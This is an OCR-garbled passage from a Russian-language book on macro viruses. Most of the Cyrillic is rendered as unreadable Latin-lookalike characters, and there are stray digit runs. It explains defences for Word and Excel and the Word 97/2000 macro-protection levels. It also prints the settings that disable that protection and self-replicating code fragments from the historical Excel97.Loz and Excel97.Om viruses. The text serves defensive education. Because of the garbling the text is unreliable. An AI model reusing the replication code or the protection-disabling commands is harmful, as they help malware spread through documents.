BaTb MaKpocbi h iiojiy4HTb Hcxo^Hbiii TeKCT BHpyca Macro.Word.MSW. 
06biHHbiH no.fiMOBaTejib HHKor^a Hirjero noaoonoro He v bh/ih t :

Sub
■-IEM
REM
REM
REM
REM
REM
REM
REM
REM
REM
REM
REM;
REM
REM
REM
REM
REM
REM
End

MAIN
PAPtR SHREDDER (c ) S in u s  (a lpha CMa), S in u s  B White Qwar

999999 
999999999 

999999999999 
99999999999999 

999999 999999 
999999999 99999999 

@99999999999999 99999

99999 
99999999 

9999 999999 
9999 9999999

999 9999999
99 999 99999999999999999
99 99999999999999999999999999999999
999999999999999999999999999999999999999 

Sub

999999999999999 
9999999999 9999 

9999999 999
99999 

999999 
999999

99

999
99
99
99
99
9999

TeM HJIH HHbIM 06pa30M «UUyTHT» npaKTHHeCKH KajKZJMH B Top o il MaK- 

poBHpyc, h  3T0 0'ieHb nenajibHo.
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5 . 1 . 5 .  n p o c T e M i i m e  n p w e M b i  3 a m n T b i  o t  M a K p o B H p y c o B

E opb6a  c MaKpoBHpycaMH B03M0>KHa 6e3 npHMeHemiH KaKHX-jra6o ao- 
nojiHMTejibHbix aHTHBHpycHbix nporpaMM. PaccMOTpnM HecKOJibKO ripn- 
eMOB, KOTOpblMH M02CH0 C. ycneXOM B0Cn0JIb30BaTbCH.

5.1.5.1. Manunyjumuu c -(NORMAL.DOTV
MTaK, ntesaiuimueM MaKpoBHpycoB Ha K0Mnbi0Tepe HBJiaerca rao- 

6ajibHMH ma6jioH « N O R M A L .D O T » .  Ecjih cpeacTBaMH M S  Word o t- 
KpblBaeTCH «3apa3HUH» aOKyMCHT, TO BHpyCHHe MaKpocbi nepBbIM ZieJIOM 
nepeTacKHBaioT ce6fl b 3 to t ma6jioH. B  aajibHei-imeM maoJion mbjihctch 
nOCTOHHHO aKTHBHbIM, MaKpOCbl H3 Hero -  nOCTOHHHO 3arpy>KeHHbIMII 
b naMHTb BHpTyajibHOH ManiHHbi, h 3T0 n03B0JiaeT Bnpycy KonnpoBaTb 
ce6a bo Bee BHOBb OTKpbiBaeMbie /joKyMeHTbi.

Hejib3H jih KaK-Hii6yab noHHcniTb « N O R M A L .D O T s ,  ecjin ecTb TBep- 
naz yBepeHHocTb, h to  oh coztepacHT MaKpoBiipycu? Mo;kho. /Ijih stoto 
zlocTaTOHHo 3aBepuiHTb paooTy M S  W ord h yaajuiTb (Jjafiji «N O R M A L . 
D O T »  c zincKa, a eme Jiynme Ha bchkhh cjiynaH riepeHMeHOBaTb ero bo 
HTO-Kn6yab HHoe, HanpHMep b « N O R M A L .V IR » .  Ecjih BHOBb 3anycTHTb 
M S  W ord, to  « N O R M A L .D O T »  6yaeTaBTOMaTHHecKH co3aaH BHOBb. O h  
hc 6yaeT coaepacaTb BHpycHMX MaKpocoB. npaBfla, h Bee c/iejianiibie pa- 
H ee n0Jib30BaTeJieM HacTpoftKH (caM0CT0«TejibH0 pa3paooTaHHbie cthjih, 
MacmTa6bi 0T 06paaceHHH jioKymeHTOb, zio6aBJieHHbie jihhchkh Memo h 
t . n .) uporia/iyTTO>Ke. H e 6eaa. «IIo h h c th b » rjiooajibnbm maojioH, mojkho 
BHOBb BbinoJiHHTb Heo6xoziHMbie HacipoHKH. 3aBepmnTb M S  W ord h no- 
cTaBHTb Ha 4>aiiJi « N O R M A L .D O T »  ohtobmh (JjJiaacoK «readonly». Te 
nepb Jiio6bie nonbiTKii H3MeHHTb cfiaftji « N O R M A L .D O T » ,  b tom HHCJie 
ii BiiHcaTb b Hero «.!iiiiflHne» MaKpocbi, 6ya yT npeceneHbi OnepanHOHHOH 
CHCTeMOH.

Boo6me, Jiynme 3apaHee cflejiaxb koiihio 4>aiiJia « N O R M A L .D O T »
CO BCeMH «JIIOOHMbIMHS HaCTpOHKaMH H BOCCTaiiaBJIHBaTb rJIo6aJIbHbIH 

ma6.noH H3 Hee.

5.1.5.2. ydajieuue eupyca cpedcmeaMU -tOpzanmamopa*
A  KaK yziajiHTb MaKpoBHpyc H3 oobinnoro AOKVMeHTa? OneHb npocTo. 

JleneHHe neo6xoaHMO np0H3B0/HiTb b «h h c to h », to  ecTb 3aBe/ioMo He 3a- 
paaceHHoft MaKpoBHpycaMH, cpezie M S  W ord.

BMeHK)«cDaftji» («File»)H y»HO  Bbi6paTb nyHKT «LHa6jionbis (« Temp
lates). Zta.iee Ha nocjieflOBareJibHo noHBJiHiomnxcH oKHax Haacaxb KHon- 
kh «OpraHH3aTop» (^O rgan izers), «3aKpbiTb4)aHJi» h «Ot k p h t lcfiaitJis.
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B  pe3yjibxaTe MS W ord npe^JioacHT 3arpy3HTb (ho He aKTHBHpoBaTb!) 
OflHH H3 flOKyMeHTOB-IIia6jIOHOB, B pOJIH KOTOpWX MO>KCT BblCTVnaTb KaK 
<f>ahji /lOKyMeHTa. npeztHaaHaqeiiHbiH jinn jieneHHH, TaK h nepeiiMenoBaH- 
HbiH paHee «6 h b iu h h  raaBHbift* ma6.noH NORMAL.VIR. i la jie e  Heo6xo- 
flHMO B bl6p a T b  BKJia/IKy «M a K p O » H... B03M0JKH0, HTO Ha 3KpaHe nO H B H TC H  

cnncoK MaKpocoB, 3amnoHeHHbix BHyrpH 3arpy»ceHHoro m aojioHa. Bnpo- 
hcm, ecnii cnncoK hvct, s to  em e He 03HanaeT, h to  MaKpocbi o tc jt c tb v io t ,  

nocKo^bKV coaepxcHMoe Moayjiefi «KJiaccoB» TaKHM o6pa3o\i yBH^eTb 

npo6.TeMaTHHHO. H o  <<o6b(HHbie» MaKpocbi BH/iHbi 3aMeHaTe/ibHo. HraK, 

ecjiH cnncoK He nycT, to  Heo6xoflHMO BHHMaTejibHO HsyniiTb ero coaep- 
aciiMoe. O HajiHHHH BHpyca CBiiaeTejibCTByioT:

O  MaKpocu co <<CTpaHHbiMH» HMeHaMH, rana «AAAZAO », «Cap». 
«M tf» h npoHHe;

O  MaKpocbi c «aBTOMaTHHecKHMii» HMeHaMH -  « AutoOpen»,
«AutoClose», «AutoExec», «AutoNe\v» h nponne;

O  MaKpOCW CO «C T a H fla p T H b IM H »  HMeHaMH, n o C Ta B Jie H H b lM H  b c o -  

OTBeTCTBHe K a K o tt-H H o y z ib  o n e p a u H H  Ms Word -  «FileOpen», 
•sFileSave*, «FileSaveAs>>, «FilePrint>, «FileExit», «FileClose» h  

npoHHe.
0 6 n a p y > K H B  B iip y c H b ie  M a K p o c b i, ny>K H0 J iH K B H ^ n p o B a T b  h x ,  n o o n e - 

p e a H o  O TM e n a a  M u u ib io  h  Ha>KHMaa K H o n K y  « y z ia ; i H T b » .  B o t  h  Bee, a o K y -  

M e H T  ( i n a 6jT0H )  h h c t .  K c T a T H , T e n e p b  m o>kho n e p e H M e H O B a Tb  n o H H m e H - 

H b iH  «N O R M AL.V IR » b  «NO R M AL.DO T», Bee «/iK »6H M b ie » H a c T p o iiK H  

Ta K H M  •«JieHeHHeM » H e 3 3 Tp a rH B a io TC H .

5.1.5.3. Aumueupycnbie Manpocbi
IT p O C T e H IIIH H  a ilTH B H p y C H W M  MaKpoc C O C TO H T H3 e U H H C TB e H H O H  

KO M aH flb i « Disable AutoMacros», OTKJHOHaromeii p a 6o T y  «a B T O M a n tH e - 

c k h x >  M a K p o c o B . Eme m o jk h o  n a c TH H H O  a B TO M a TH 3 H p o B a Tb  p a 6o T y  n o  

n o H C K y  h  y a a jie H H io  B H p y c o B , H a n n c a B  < J ie H a m n e » M a K p o c b i. M m c h - 

h o  T a K  h  n o c T y n H J iH  b  M ic r o s o f t ,  H 3 r0 T 0 B H B  h  p a c n p o c T p a H H B  m a 6/ioH 

«SCAN831.DOT». A  m h  n e M  xyace? B o t  n p H M H T H B iia a  nporpaMMKa Ha 
a3bnce WordBasic, K O T o p a a  n m e T  b  «NO R M AL.DO T» h  T e K y m e M  a o K y -  

M e H Te  Manpoc c h m c h c m  «AutoClose» ( s t o  h m h  x a p a K T e p H O  B iip y c a  

Macro. Word.DMV) h  y a a jia e T  e ro .

Sub Main
tup = K lliM acro ("A u toC lose ", 0 ) ' 'B NORMAL.DOT 
tinp = KillMacroC''AutoClose ” , 1 ) '  'B xeKyiiieM flOKyMeme 

End Sub

Function KillMacro(BadName$, TercplateType) ' 0yHKijwa noHCKa/yaaJieHua
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K illM a c ro  = 0
For i  = 1 To CountMacros(TemplateType)

I f  MacroName$(i, TemplateType) = BadNaiae$ Then 1 Ho mmshu 
Organizer .D ele te , .Source = MacroFileName$(BadName$), .Name = BadNameS, .Tab = 3 
K illM acro  = 1 

End I f  
Next i  

End Function

B o t BapnaHT 3 toh  ace n p o rp a M M b i. HanHcaHHbift Ha H3biKe VB A.

Sub AutoOpen()
Dim tuip*
trrip% = Kill«acro(■'AutoClose”, ActiveOocuaent) 'B TeKymeM aoKyweHTe 
tup* = KillHacro("AutoClose", NomalTenplate) 'B NORMAL.DOT

End Sub

Function KillMacro(6adname, TemplateType) As In te g e r ' OyHKuns noncica/yftaneHwi 
Dim i#
K illM acro  = 0
For i  = 1 To TemplateType.VBProject.VBComponents.Count

I f  TemplateType. V B P ro ject. VBComponents. Item( i ) . Name = Badname Then ' flo Moayno 
A pp lica tion .O raan ize rD e le te  TemplateType.FullName, Badname, wd0rganizer0bjectlte»s 
K illM acro  = 1 

End I f  
Next i
End Function

Jly’jwe Bcero 6HTb B p a ra  ero ace co6cTBeHHbiM opyacneM -  pa3MecTHTb 
JienamHH MaKpoc b I'Jiooa/ibHOM iua6jioHe «NORMAL.DOT» h npncBO- 
HTt eMy hmh 4 AutoOpen*. Toraa MaKpoc 6yaeT crapTOBan. npn Kaacfloii 
3 a rp y 3 K e  hoboto /lOKVMeHTa h oTcipejiHBaTb «3apa3y» Ha B3JieTe.

Pa3VMeeTCH, Bee s to  He cjihuikom  cepbe3H0. /JaHHbiH noflxofl n03B0- 
n a er oSHapyaciiBaTb MaKpocbi TOJibKO no HMeHH, a HMeHa bhpvchhx 
MaKpocoB b 3HaHHTejibHOH cTeneHH «cTaHflapTHbi». HanpHMep, MaKpoc 
«AutoClose» npncyTCTByeT He TOJibKO b Macro.Word.DMV, ho h b He- 

CKOJIbKHX COTHHX flpyiH X  BIipyCOB, IipHHeM B HHX 3T0T MaKpOC He OflHHOK.
T a K H M  0 6 p a 3 0 M , n o f lo 6 H H H  M e T o a  jie y e n H H  « y 6 b e T »  Macro.Word.DMV, 
a o cT a jib H u x  .m iuib «paH M T ». CKopee B cero, «H e a o 6 n T b ie »  B iip y c u  oy/tyr 

n p o cT o  neripaBHJibHO pa6oTaTb, /iocraB.rafl 3 th m  no.Tb30BaTe;no ropa3/io 

o o jib u ie  x j io i io t ,  neM  ecviH 6bi o h h  pa6oTa.nn «n paB H ;ib H o ».

BnponeM, M0acH0 yc/ioxiiHTb aHTHBHpycHbie MaKpocbi, HayMHTb hx 
ocym ecTB.THTb noHCK no ahckv, cKaHHpoBan> «3apa3y» nocipoMHo, B e cm  

6a3y aaHHbix h t. n. IIpHMepoM TaKOH npoflBHHyroH MoaceT
cjiyacHTb ^Macros Hunter* O. ABepKOBa.
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5.1.5.4. BcmpoeHHdH «3aiu,uma> MS Word
PaayMeercH, (jmpMa Microsoft He Morjia ocTaTbCH b CTopoHe ot cpaace- 

HHH, BeZiyiUHXCa MlipOBOH KOMXIblOTepHOM 06meCTBeHH0CTbK> c MaKpoBH
pycaMH. R)BopHT, nepBaa po6Kan nonbiTKa OTropoflHTbca ot «nocTopoH- 
hhx» MaKpocoB noflBHJiacb b MS Word v7.0a. Ho pycH(J)HUHpoBaHHbix 
BapnaHTOB stoh BepcHH TeKCTOBoro pe/jaKTopa He cymecTByeT, n 0 3 T 0 M y  

OTeHeCTBeHHbril II0JIb30BaTeJIb JIHUieH B03M0aCH0CTH OUeHHTb flOCTOHH- 
CTBa H HeZlOCTaTKH HCn0JIb30B3HH0H B HeH 3amHTbI.

Cawa ace (})HpMa Microsoft nocHHTajia Ty 3amHTy Hefl0CTaT0HH0fi h 
b cbok) OHepeAHyK) Bepcaio MS Word 97 BKJiKMHjia abe «hobhhkh»:

O  aHTHBHpycHbifi (})HJibTp, 3anpemaBiiiHH npeo6pa30BaHHe H3 Word- 
Basic b VBA  Haiioojiee H3BecTHWX BHpycoB;

O  noacHCTeMy npeflynpeacflemra nojibaoBarejiH.
B o t hto coooma/i o nepBoii m  hhx n3BecTHbra BeHrepcKHH Biipycojior 

Gabor Szappanos:

...MraK, M icroso ft Bcrpou/ia n p o c ro ti cpwibTp, Koropbid nbirancft 
onpe/je/inTb, He npw H apjiexm  j m  KOHBepmpyeMbiu MaKpoc KaKO- 
My-HH6yAb Bupycy. Ec/ih odnapyxeHHbiM MaKpoc fiB/ianca nacTbio 
u 3 B ecm oro  Biipyca, to oh yAam ncn u3 aoKyMem a 6e3 KaKux-/w6o 
npeM ynpexfleH m ... K  coxa/ienw o, y o ro ro  M erofla  UMenucb  we- 
CKo/ibKo HeflocraTKOB: oh ucn0/ib30Ba/i npuMuruBnoe cpaBHeHue 
CHmaTyp; oh  pa6oran  c  oTfite/ibHbiMM MaKpocaMM, b  peayjibrare nero  
MaKpocbi AutoO pen, AAAZAO u AAAZFS, npHHafl/iexautue Bupycy 
Concept, y jianam cb, a MaKpoc Payload ycneiuHO K om ep  m poBan- 
ca; oh o6 ecn ew B a ji 3am ury o r  orpaHuneHHoro KonmecTBa BupycoB 
(BupycHaa 6a3a flanHbix 6bi/ia 3aium a b  DLL u  He n o o n e x a m  o6hob - 
jieHHio); HaKOHeu, cumaTypbt BupycoB x p a n m u cb  b HeaaiuucppoBaH- 
HOM BMfle...

3tot (JauibTp He 6mji BmnoneH b 6era-BepcHH MS Word 97, irapoKo 
Hcn0Jib30BaBmnecfl no^B30BaTe^HMH b 1997 r., b pe3y;ibTaTe nero k mo- 
Memy Buxoaa <|)HHa.ibHoro peJiH3a Bee MaKpoBiipycbi, KOTopbie HMe- 
jih maHc «MHrpHpoBaTb» c WordBasic Ha VBA, ycneuiHO caejiajiH sto. 
«Orio3,aaji» h naTH, onoimaioiuHH KOMaH/jhi «Word Basic. Macrocopys h 
«OrganizerCopy». Oh 6bui bkjikihch b nepBbiH cepBHcnaK M S Word 97 
SP1, a b oieayiomeM cepBHcnaKe SP2 sth 3anpera 6 bum oTMeHeHbi.

BTopaa ace aHTHBHpycHaa «H3K>MHHKa» 3aKpeiiHJiacb h noJiyHH;ia pa3- 
BHTHe b nocjieayiomHx Bepcnax MS Word, linen  pa6oTH stoh noacHCTe- 
mw 3aKJiK>HaeTCH b tom, HToobi npeaynpeacflaTb nojib30BaTeji« o HajiimviH 
b 3arpyacaeM0M aoKVMeHTe «nocropoHHHx BJioaceHHH».
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B OTKpblBdeMOM AOKyMCHTe ecTb MaKpOCbl, KOTOpwe MOryT C04ep>KaTb BHpycbi H 
nOepeAHTb BdUJ KOMTIWOTCp.

Ecnn AOtCyneHT B3S1T M3 HaAOKHOTO MCT0HHMK3* HaxCNMTe J-1
KHonKy "He oTKrtoMaTb waKpocw", Hto6w 3anpeTMTb | □PAQo6Hocm |
aBTOHSTMMecKMH 3anyc* MaKpocoe, HawNMTe KHorry

SI feeraa BWBOAMTb 3to okho npn oTKpbiTHH AOKyneHTa, coAep*aiuero MaKpocbi

\ 0TK/1t0*41Tb MdKpOCbl f| He OTKJlfOMaTb tJ9KpOCbl He OTKpbBaTb AOKyMeHT

Pmc . 5 .7 ❖  flua^or npeflynpexfleHMS o MaKpocax

IlpaB/ia, 3Ta noacHCTewa He y.vieeT orjiHHaTb BiipycHbie MaKpocbi o t, 

HanpHMep, n0jn>30BaTejibCKHX crajieH  h  nacTeubKO «pyrae,TCH He no 
;te/iy». K t o m v  ace 3 Ty  noflcncTeMy oneHb jierKO o tk j i io h h tk

O BpyMHyro (c6pociiB cooTBeTcxByiomyio <<rajTKy>> b  «CepBiic => Ila- 
paMeTpbi => 06mne»);

O  H3BHe (nocTaBHB k j i i o h  PeecTpa «HKLM/SOFTWARE/Micro- 
soft/Office/8.0/Word/Options/EnableMacroVirus Protection* 
b nojioaceraie 0);

O nporpaMMHO (BbinoJiHHB ctojib « jho6h m v io »  MaKpoBiipycaMH  

KOMaHfly « Options. VirusProtection = Falser).
C a M b iii x e  niaBHbiH Hezi0 CTaT0 K n 0 4 0 6 110 ro  n o a x o a a  saKJiionajicji 

b tom, h to  no.ibsoBaTejiio npe/iocTaBJia.Tocb npaBO caMOMy pernaTb, npo- 

nycicaTb  MaKpocbi b  cbo h  MS Word h jih  HeT. ITpe^cTaBbTe ce6e c irrya - 

UHio: b  ocJjhc npHWJio MH0acecTB0 m iceM  b DOC-cfiopM aTe, TpeoyeTCH 

HeMeflJieHHO OTpearnpoBaTb Ha hhx. HeyaceJiH ceKpeTapuia 6 y a e T  pa3- 
6npaTbCa c  Ka>K/IbIM OTfleJIbHO B33TbIM aOKVMCHTOM, onaCHUe h jih  no- 

Jie3Hue MaKpocbi b  hcm coA epacaTca? fi,a OHa pa3 h H aB ceraa o tk jiiohh t  

3T y  H aaoeflJ iH B yio  3 a m iiT y ! H jih  o tk jiiohh t «x o th  6 bi Ha o#h h  pa3 » ,  a «n a - 

Bcer/ta» s t o  caeJiaeT aKTHBiipoBaBiuHHca BHpyc n pn  noM om n o jih o fo  113 

paccMOTpeHHwx nyTb Bbirne npne.MOB.

C o6ctbchho  roBopn, TaK B 6o.)ibmHHCTBe c.nynaeB h npoHcxoaHJio. 
IIoACHCTeMa 3amiiTbi MS W ord  97 cepbe3H0H nperpaflOH ajih pacnpo- 
cTpaHeHHH MaKpoBiipycoB He CTajia. riosTOMy yace b MS W ord  2000 6biJin 

BBeaeHbi HecKOJibKO ypoBHen 3amHIUeHHOCTH.
EcJIH aKTHBHpOBaH HHJKHHH ypOBeHb 3amiimeHHOCTH, TO MaKpocbi H3 

3arpyacaeMoro flOKyMeHTa BbinojiHHjOTca b jik>6om cjiynae. IlpH  cpezuieM 
ypoBHe 3amHiueHH0CTH MS Word 2000 Be^eT ce6» iioao6ho BepcHH 97: 
np e/iy rip e>K/i a eT n0Jib30BaTeJin 0 HajniHHH MaKpocoB h  npe^jiaraeT eMy

3 a u jM T a  ot B H p y c o B  b  M a K p o c a x



Bupycbi b MS Word ❖ 341

caMOCTOHTejibHO npmiHTb peu ieH H e. HaKOHeu,. Ha b h c o k o m  ypoBHe 3a- 

lunmeHHOCTH BhinojiHHioTCH TOJibKO «noamicaHHbie» M aKpocbi ( t o  ecTb 

M aK pocu  H3 aaB eaoM oro  / ioB epeH iioro  HCTOHHiiKa), a ocTajrbHbie 6e30 

b ch k h x  npeaynpeacaeHHH noaaBJiJiioTCH. KcTara, na^HHaa c MS Word 
X P , BbicoKHH ypoBeHb 3am nTbi 3a0flH0 eme h  oncjuoHaeT no/icHCTCMy 

VBA, He n03B0JT«H flaace n p orp aM M H cry  pa3pa6aTbiBaTb cb o h  M aKpocbi. 

A 3T0 HHOiTia 6breaeT neo6xo/iHMO. HanpHMep, TeKCT k h h ™ , KO Topyio  b h  

cennac HHTaeTe, npHuuiocb HecKOJibKO pa3 6ucTpeHbKO nepe(f>opMaTHpo- 
BaTb npn uoMoiitH cneunajibHo HanHcaHHbix MaKponporpaMM. IIpH pyy- 
hom  nepecjjopMaTHpoBaHHH Ha s t o  yuuio 6bi m h oto  nacoB.

Trusted SourcesSecurity Levelj

(5) High. Only signed macros from trusted sources will be 
allowed to run. Unsigned macros are automatically 
disabled

Q  Medium. You can choose whether or not to run 
potentially unsafe macros.

O  Low (not recommended). You are not protected from 
potentially unsafe macros. Use this setting only if you 
have virus scanning software installed, or you are sure 
all documents you open are safe

No virus scanner installed

OK Cancel

Pmc. 5.8 ❖ YpoBHu aHTHBvipycHoPi 3atuuTbi 
b  M S  W ord

ITo yMOjram no B MS Word 2000, XP, 2003 h 2007 aKTHBHpoBaH hmch- 
ho BbicoKHH ypoB eH b 3aiunTbi. IIocKOJibKy ^ n o^ n iicaH H b ie* M aK pocw , -  

Boo6me roB op a , orpoMHaa peaK ocTb , to  3Ta onipia 03HanaeT He3aMeTHoe 

flJiH n0.ib30BaTejia  no.imoe OTKJiKMeHHe MexaHH3Ma M aKpocoB . H to6h  
ohh 3apa6oTajiH , hx H aao  npHHV/WTejibHo BKJiioHHTb, ycTaHOBHB 6 o jie e  

HH3KHH ypoB eH b  3amHTbI.

Hmchho n o c jie  BBefleHHH 3Toit «/ipaKOHOBCKOH>> M e p b i kojihhcctbo MaK- 
p o B H p y c o B  b «ahkoh npnpoae* c T a jio  H eyK J ioH H o  cH H acaT bca, a k 2002- 
2003 ro f la M  hx h nncaTb-To, no 6 o jib iu o M y  cne T y . r re p e c ra jiH .

BnponeM, c toh t ynoMHiiyTb B H p y c  Macro.Word97.XaIer (oh  ace 
W97M.Lexar), KOTopbift nanpaMyio TaK MOflHtjmiiHpoBaji abohmhwh 
KOfl DOC.-cf)aHJia, mto aHTHBHpycHaa noflcncTeMa MS Word 97 h 2000
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He o 6 Hapy>KHBajia M aKpocoB  flaace b to m  c jiyn ae , c c jih  o h h  b  flO KyM eirre 

6 b v m . B 6 o jie e  n o 3/iHHX Bepciiax MS Word o iu h 6 k h  b a/iropnTM e p a 6 oTbi 

aHTHBHpyCHOH nOflCHCTCMbl 6 hUIH HCnpaBJieHM.

5.2. Bupycbi b Apyrux npnAO>K0HM9ix 
MS Office

. . .B u  coeep tu eH H o H o n p a c n o  p a 3 d e j in e m e  K u S ep -  
a e o p H u n o e  u  K u 6 e p c a d o m w c o e .  9 m o  o d m  u  m e  
dice M auiuHH...

A. h B. CTpyramoie. ^IloJueHb, X X II BeK»

Bee KOMnoHeHTW naneTa Microsoft Office cnpoeicnipoBaHbi h pea.xH3o- 
BaHbi TaK, hto6m, HecMOTpa Ha pa3.HHTOe peuiaeMbix hmh 3aaaH, npe/i- 
cxaBjra.iH co6oh e/tHHyio «MHoroueJieByio» cpeay. Ohh oojia/iaioT em no- 
o6pa3HWM BHeuiHHM tiHTep(|x;HcoM, ncnojib3yiox o6mne 6n6^HOTeKH H 
noaaepjKHBaioT VHHBepcajibHbie xexHOJioniH o6MeHa saHHbiMH. Jinn Hac 
b KOHTeKCTe flaHHoft r.naBbi oco6eHHo HHTepecHhi cjie/iyiomiie nepxbi yHH- 
(JjHKauHii KOMnoHeHTOB MS Office:

O  Bee ohh noflflepacHBaioT H3MK nporpaMMHpoBaHHa VBA;
O  hx  cfiaH.'ibi (aoKyMeHTM, 3-ieKTpoHHbie Ta6jiHUbi, ripe3eHTanHH h 

t .  n . )  0 p ra H H 3 0 B a H b i b B Hfle « C T p y K T y p H p o B a H H H X  x p a H H J ii im » . 

3 to 03HaMaeT, mto ohh b paBHoft cTeneHH MoryT cjiyacnxb njiax(|)opMa- 
mh JiJ in  MaKpoBHpycoB. Bnpycbi h j ih  MS Word Mbi yace paccMoxpejm, Ha- 
cTajia onepe^b 03HaK0MHTbcji, KaK oocxosrr ae.aa b a p y r n x  npmioaceHHHx 
MS Office.

5.2.1.  MaicpoBMpycbi b MS Excel
^ 3biK VBA  noHBHJica b MS Excel paHbiue, neM b MS Word. Yace b cepe- 
flHHe 1990-x roflOB, Koraa nporpaMMbi cueHapHeB a m  MS Word nnca- 
jiiicb Ha a3biKe WordBasic, rioJibaoBaxejiH MS Excel hmcjih b cBoeM pac- 
nopaaceHHH oahv 113 paHHHX Bepcnii VBA.

H o  B H p y c b i b cpe/te MS Excel n o n B H JiH C b  n o 3>Ke, n e w  b MS W o r d .  B toh 
ace c T a r b e  ot a e K a 6p a  1 9 9 4  r., b K o x o p o ii / la c o e ^ o M  M a K H a M a p o ii  6b m  

o n H c a H  Macro. Word.DMV, 6 m 1 a H O H C H p oB a H  h  Excel-BHpyc, ho... a B To p  

He c n p a B H Jic a  c e r o  0TJia,a,K0ii. i lo a x o M V  a m a n >  n o H B Jie H iw  n e p B o ro  pa- 
6o T o c n o c o 6H o ro  M a K p o B H p y c a  H-jih  Excel ripHiujiocb n o n r a  n o ^ T o p a  rofla .

MaKpoBHpycoB h j ih  Excel HeMHoro -  Bcero okojio cothh. A r;io6ajib- 
Hyio antmeMHK) BM3B3JI TOJibKO oflHH H3 hhx , caMbiH nepBHir. Macro.
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Excel.Laroux. J le T O M  1 9 9 6  r . e r o  n o n r a  0flH 0B peM e H H 0 o 6H a p ya cH JiH  

b  o (J)H c a x  f lB y x  K p y n H W X  He<}yrflHhix K O M n a H H H  -  o ^ H a  p a c n o iia ra jia c b  b  

K a H a ^ e , a / ip y r a n  b  K3AP. I Ip o i i iJ io  6o jie e  zie cH TH  t o t ,  a o h  e m e  H 3peziK a 

B C T p e n a e T c a  b  « a h k o h  n p n p o f le * . C t o h t ,  n o a e a jiy fi, y n o M jr a y r b  e m e  o h h h , 

fl0B0^ b H 0 p a c n p o c T p a H e H H U H  H a  pyoea ce b c k o b  B H p y c  Macro.Excel97. 
Tracker ( 6o.nee h 3b c c t h m h  non H M eH eM  X97M.Divi). O h  Toace u m p o K o  

p a c n p o c T p a H H J ic a  n o  B c e M y  M H p y  h  «a c iu i a o j ir o * .

B MS Excel HeT «rjiooajibHbix ma6ji0H0B* raria ^NORM AL.DOT*, 
3aTO 3To npn/toaceHHe no&aepacHBaeT «rjio6aJibHbiH KaTajior XLStart*, 
Bee MaKpocbi H3 4>aHJioB KOToporo 3arpyacaioTCH b BHpTyajibHVio MauiH- 
Hy aBTOManraecKH. HanpHMep, BHpyc Macro.Excel.Laroux pa3Mema/i 
b 3tom KaTajiore ajieKTpomiyio TaojiHuy «PERSONAL.XLS», b k o to p o h

CaM nOCTOHHHO H aCHJI.

ynpaBJieHHe BHpycbi n o jiy q a io T  npH noMomu «aBTOMaTHHecKHX* MaK
pocoB, KOTopbie HMeioT t e k o h  ate c m h c ji h  Ha3HaneHHe, KaK h  b MS Word, 
TOJibKO b MS Excel y h h x  HecKOJibKO H3MeHeno HanHcanne:« Auto_Close* 
BMecTo ^AutoClose*, «Auto_Open» b m cc to  ^AutoOpen* h  t .  a . EcTb h  

yHmcaJibHbie «aBTOMaTHHecKHe* HMeHa, HanpHMep «Workbook_Open» 
h jih  «Workbook_Deactivate*. UlnpoKo HcnoJib3y e T c a  npneM, B C T p e - 

th b u ih h c h  BnepBbie b Macro.ExceLLaroux: «aBTOMaTHHecKHH* MaKpoc 
He aejiaeT Hiraero «6ojie3HeTBopHoro*, a npocTo Bbino.niHeT KOMaimy 
«Application.O nSheetActivate = <HMH_npoue,ziypbi>*, nocjie Hero yKa- 
3aHHaa npoueaypa 6yseT crapTOBaTb npH aKTHBauHH jik>6 o h  ^ k h h th * .

KoimpoBaHHe MaKpocoB b «CTapbix» MaicpoBHpycax ajih MS Excel 
name Bcero BbinojiHHJiocb npn noMomu MeTo/ia «Copy* k o jij ic k iih h  

^Sheets* npHMepHO TaK:

Work&ooks('’PERSONAL.XLS” ).Sheets("la roux").C opy before := Workbooks(n4$). S hee ts(l).

B Bepcnax, HaHHHas c MS Excel 97, H3Memuiacb oobCKTHaa Mo^ejib 
npHJioaceHHa, noHBHJiocb noHflnie VBA-npoeKTa. C00TBeTCTBeHH0, CTa- 
Jia aocTvnHOH KOM6HHamia MeT0/j0B « Export/Import*. Bot «KyconeK* 
MaicpoBHpyca Macro.Excel97.Loz, HJunocTpHpyiomHH hx ncnoJib3o- 
BaHHe:

A pplication.VBE.ActiveVBProject.VBCom ponents("IT"). Export ' c : \ l o z . d l l "  

A ctiveW orkbook.V B P ro ject.V B C onponents.Im port("c :\loz.o il")

KpoMe Toro, nojiBHJiacb B03M0acH0crb nocipoHHoro KormpoBaHHH 
TeKCTa BHpycoB H3 Ta6jnmbi b Tafurmiy npn noMomn m cto/ iob  «Add- 
FromFile*, « Insert Lines*, « Replace Lines* h  t .  n.
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C T p a T e r a a  pa6oTbi MaKpoBHpyca a m  MS Excel TpaaamiOHHa: e c jin  

« r .! io 6a jib H H H  K a x a jio r »  n y c T ,  to  B H p y c  p a 3 M e m a e T  b h c m  3apa)tceHHbiH 

u ia 6; i 0H ; e c jin  iu a 6j io n  c  B H p y c o M  T a M  yace r ip i ic v T C T B y e T , a T e K y m a a  

a jje K T p o H H a a  TaojiHLia « lm c T a * . to  B H p y c  K o n n p y e T  b H ee ee MaKpocbi H3 

3 T o r o  m a o jio H a .

Bot $paraeHT «<J>paHuy3CKoro» MaxpoBHpyca Macro.Excel97.Om, 
AeMOHCTpHpyiomHH THnHHHoe noBeaeHHe Excel-BHpycoB:

Sub auto_open()
A ttr ib u te  auto.open. VB_ProcData.VB_Invoke_Func = " \ n 14"
For Each c lasseur In  Application.W orkbooks
I f  c lasseur Name <> "OH.XlS” Then ' 3arpy*eH enpycHHR naftioH?
om -  False
For Each F e u ille  In  classeur.Sheets 

I f  F e u ille . Name = "OMMacro" Then om = True 
Next F e u ille  
I f  Not om Then
apparent = W indows(classeur.Name).Visible 
W indows(classeur.Nam e).V isib le = True
ThisWorkbook.ModulesC'OMMacro").Copy a f te r :  Workbooks (c lasseur. Name). S hee ts (l) 
W indows(classeur.Nam e).V isib le = apparent 

End I f  
End I f  

Next classeur 
End Sub

OneHb noxo>Ke Ha W ord-B iipycu, He npaB^a jih?  06paraTe BHHMa- 
HHe, h to  «Kopenb» o6beKTHoft MoaeJiH b Excel no-npeacHeMy Ha3biBaeTca 
•^Applications, ho BMecTo « Documents* Hcno.ib3yeTc« « W orkbooks*, 
BMecTo «ThisDocum ent* -  « This W orkbook* h t. n.

5.2.2.  «MHororuiaT<t>opMeHHbie» MaKpoBiipycu
MaKpoBHpycbi ajih MS Access, MS Pow erPoint h npoHHX KOMnOHCHTOB 
MS O ffice He CTOJib nmpoKO pacnpocTpaHenbi, hto6w  y/ie/iHTb hm mho- 
